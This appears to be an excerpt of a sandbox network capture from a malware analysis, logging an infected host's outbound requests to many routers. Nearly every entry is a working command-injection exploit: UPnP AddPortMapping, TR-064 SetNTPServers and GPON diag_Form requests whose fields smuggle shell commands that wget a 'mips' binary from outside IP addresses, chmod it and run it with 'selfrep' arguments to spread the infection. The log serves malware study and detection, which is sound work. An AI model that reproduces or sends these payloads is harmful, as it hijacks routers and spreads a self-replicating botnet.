31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.13	46502	95.14.124.70	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.251599073 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.13	38812	178.135.107.248	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.577510118 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.13	46560	95.14.124.70	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.614165068 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.13	45132	121.238.181.123	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.080626965 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.13	45058	23.52.116.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.207948923 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:58.780983925 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:58.966666937 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:58 GMT Date: Mon, 15 Apr 2024 06:53:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 61 36 61 63 39 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 38 26 23 34 36 3b 31 38 32 31 39 37 30 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 65 61 36 61 63 39 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 38 26 23 34 36 3b 31 38 32 31 39 37 30 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ea6ac917.1713164038.18219707<P>https://errors.edgesuite.net/9.ea6ac917.1713164038.18219707</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.13	59648	199.204.203.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.209517002 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:58.822776079 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.13	52090	23.203.41.60	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.216310024 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:58.416294098 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:58 GMT Date: Mon, 15 Apr 2024 06:53:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 35 61 38 33 38 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 38 26 23 34 36 3b 31 38 34 38 61 38 36 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 35 61 38 33 38 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 38 26 23 34 36 3b 31 38 34 38 61 38 36 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.65a83817.1713164038.1848a868<P>https://errors.edgesuite.net/9.65a83817.1713164038.1848a868</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.13	35876	66.35.66.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.236416101 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:59.360363007 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:59.577296972 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:59 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.13	52360	125.206.177.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.285387039 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
